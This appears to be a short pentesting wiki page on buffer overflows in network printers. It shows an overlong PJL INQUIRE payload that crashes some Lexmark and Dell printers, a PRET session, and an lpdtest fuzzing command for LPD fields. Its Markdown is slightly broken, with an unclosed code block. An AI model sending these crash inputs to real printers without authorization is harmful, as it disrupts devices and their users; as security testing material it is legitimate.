# PJL

Various _Lexmark_ laser printers crash when when receiving about 1.000 characters as the INQUIRE argument (see [CVE-2010-0619](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619)) and sending about 3.000 characters as the SET argument to the _Dell 1720n_ crashes the device:

```
@PJL INQUIRE 00000000000000000000000000000000000000000000000000000…
```

You can check for Buffer Overflows using [**PRET**](https://github.com/RUB-NDS/PRET):

```bash
./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.

# LPD daemon

It allows multiple user-defined vectors like _jobname, username or hostname_, which may **not be sufficiently protected. S**everal vulnerabilities related to this malfunction has been already discovered.

A simple **LPD fuzzer** to test for buffer overflows can be created using the `lpdtest` tool **included** in [PRET](https://github.com/RUB-NDS/PRET). The `in` argument sets all user inputs defined by the LPD protocol to a certain value (in this case, Python output):

```bash
./lpdtest.py printer in "`python -c 'print "x"*150'`"
```

**You can find more information about these attacks in** [**http://hacking-printers.net/wiki/index.php/Buffer\_overflows**](http://hacking-printers.net/wiki/index.php/Buffer\_overflows)
